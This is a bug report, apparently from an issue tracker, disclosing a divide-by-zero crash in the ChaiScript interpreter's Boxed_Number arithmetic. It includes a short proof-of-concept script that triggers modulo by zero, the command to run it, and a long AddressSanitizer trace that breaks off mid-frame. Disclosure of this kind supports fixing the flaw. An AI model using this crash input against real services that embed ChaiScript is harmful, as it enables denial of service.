| Description | ### Description
We discovered a Floating Point Exception (FPE) vulnerability in ChaiScript. The crash is caused by an unhandled Integer Division/Modulo by Zero error when performing arithmetic operations in a script.
The ASAN report confirms a SIGFPE signal occurring within chaiscript::Boxed_Number::go when the modulo operator (% or %=) is used with a divisor of zero.
### Environment
- OS: Linux x86_64
- Complier: Clang
- Build Configuration: Release mode with ASan enabled.
### Vulnerability Details
- Target: ChaiScript
- Vulnerability Type: CWE-369: Divide By Zero (Floating Point Exception)
- Function: chaiscript::Boxed_Number::go<int, int>
- Location: include/chaiscript/dispatchkit/boxed_number.hpp:236
- Root Cause Analysis: The PoC executes a loop starting from i = 0:
```
for (var i = 0; i < 50000; ++i) {
ret %= i; // When i is 0, this triggers modulo by zero
}
```
The Boxed_Number implementation performs the arithmetic operation directly without checking if the right-hand operand (divisor) is zero. On x86/x64 systems, integer modulo by zero triggers a hardware exception (SIGFPE), crashing the process.
### Reproduce
1. Build ChaiScript with Release optimization and ASAN enabled.
2. Run with the crashing file:
<details>
<summary>poc</summary>
```
var func = fun(){
var ret = 0;
// Loop starts at 0, triggering ret %= 0 immediately
for (var i = 0; i < 50000; ++i) {
ret %= i;
}
return ret;
}
var fut1 = async(func);
print(" ${fut1.get()} ")
```
</details>
```
./chai crash.chai
```
<details>
<summary>ASAN report</summary>
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==30116==ERROR: AddressSanitizer: FPE on unknown address 0x55a0fafa43fa (pc 0x55a0fafa43fa bp 0x7ff09b9fe000 sp 0x7ff09b9fdf60 T1)
#0 0x55a0fafa43fa in auto chaiscript::Boxed_Number::go<int, int>(chaiscript::Operators::Opers, chaiscript::Boxed_Value const&, int*, int const&, int const&) /src/ChaiScript/static_libs/../include/chaiscript/language/../dispatchkit/boxed_number.hpp:236:22
#1 0x55a0fafa2e7a in auto auto chaiscript::Boxed_Number::oper(chaiscript::Operators::Opers, chaiscript::Boxed_Value const&, chaiscript::Boxed_Value const&)::'lambda'(auto const&)::operator()<int>(auto const&) const::'lambda'(auto const&)::operator()<int>(auto const&) const /src/ChaiScript/static_libs/../include/chaiscript/language/../dispatchkit/boxed_number.hpp:324:84
#2 0x55a0fafa2e7a in auto chaiscript::Boxed_Number::visit<auto chaiscript::Boxed_Number::oper(chaiscript::Operators::Opers, chaiscript::Boxed_Value const&, chaiscript::Boxed_Value const&)::'lambda'(auto const&)::operator()<int>(auto const&) const::'lambda'(auto const&)&>(chaiscript::Boxed_Value const&, auto&&) /src/ChaiScript/static_libs/../include/chaiscript/language/../dispatchkit/boxed_number.hpp:254:18
#3 0x55a0fafa2459 in auto chaiscript::Boxed_Number::oper(chaiscript::Operators::Opers, chaiscript::Boxed_Value const&, chaiscript::Boxed_Value const&)::'lambda'(auto const&)::operator()<int>(auto const&) const /src/ChaiScript/static_libs/../include/chaiscript/language/../dispatchkit/boxed_number.hpp:326:16
#4 0x55a0fafa2459 in auto chaiscript::Boxed_Number::visit<chaiscript::Boxed_Number::oper(chaiscript::Operators::Opers, chaiscript::Boxed_Value const&, chaiscript::Boxed_Value const&)::'lambda'(auto const&)&>(chaiscript::Boxed_Value const&, auto&&) /src/ChaiScript/static_libs/../include/chaiscript/language/../dispatchkit/boxed_number.hpp:254:18
#5 0x55a0fb389bdb in chaiscript::Boxed_Number::oper(chaiscript::Operators::Opers, chaiscript::Boxed_Value const&, chaiscript::Boxed_Value const&) /src/ChaiScript/static_libs/../include/chaiscript/language/../dispatchkit/boxed_number.hpp:329:14
#6 0x55a0fb389bdb in chaiscript::Boxed_Number::do_oper(chaiscript::Operators::Opers, chaiscript::Boxed_Value const&, chaiscript::Boxed_Value const&) /src/ChaiScript/static_libs/../include/chaiscript/language/../dispatchkit/boxed_number.hpp:677:14
#7 0x55a0fb389bdb in chaiscript::eval::Equation_AST_Node<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>::eval_internal(chaiscript::detail::Dispatch_State const&) const /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_eval.hpp:439:20
#8 0x55a0fb23c1e8 in chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>::eval(chaiscript::detail::Dispatch_State const&) const /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_eval.hpp:141:18
#9 0x55a0fb29460c in auto chaiscript::optimizer::For_Loop::optimize<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>(std::unique_ptr<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>, std::default_delete<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>>>)::'lambda'(std::vector<std::unique_ptr<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>, std::default_delete<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>>>, std::allocator<std::unique_ptr<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>, std::default_delete<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>>>>> const&, chaiscript::detail::Dispatch_State const&)::operator()(std::vector<std::unique_ptr<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>, std::default_delete<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>>>, std::allocator<std::unique_ptr<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>, std::default_delete<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>>>>> const&, chaiscript::detail::Dispatch_State const&) const /src/ChaiScript/static_libs/../include/chaiscript/language/chaiscript_optimizer.hpp:398:60
#10 0x55a0fb29379d in chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail> std::__invoke_impl<chaiscript::Boxed_Value, auto chaiscript::optimizer::For_Loop::optimize<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>(std::unique_ptr<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>, std::default_delete<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>>>)::'lambda'(std::vector<std::unique_ptr<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>, std::default_delete<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>>>, std::allocator<std::unique_ptr<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>, std::default_delete<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>>>>> const&, chaiscript::detail::Dispatch_State const&)&, std::vector<std::unique_ptr<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>, std::default_delete<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>>>, std::allocator<std::unique_ptr<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>, std::default_delete<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>>>>> const&, chaiscript::detail::Dispatch_State const&>(std::__invoke_other, auto chaiscript::optimizer::For_Loop::optimize<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>(std::unique_ptr<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>, std::default_delete<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>>>)::'lambda'(std::vector<std::unique_ptr<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>, std::default_delete<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>>>, std::allocator<std::unique_ptr<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>, std::default_delete<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>>>>> const&, chaiscript::detail::Dispatch_State const&)&, std::vector<std::unique_ptr<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>, std::default_delete<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>>>, std::allocator<std::unique_ptr<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>, std::default_delete<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>>>>> const&, chaiscript::detail::Dispatch_State const&) /usr/lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/invoke.h:61:14
#11 0x55a0fb29379d in std::enable_if<is_invocable_r_v<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>, auto chaiscript::optimizer::For_Loop::optimize<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>(std::unique_ptr<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>, std::default_delete<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>>>)::'lambda'(std::vector<std::unique_ptr<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eval::Noop_Tracer_Detail>>, std::default_delete<chaiscript::eval::AST_Node_Impl<chaiscript::eval::Tracer<chaiscript::eva |
|---|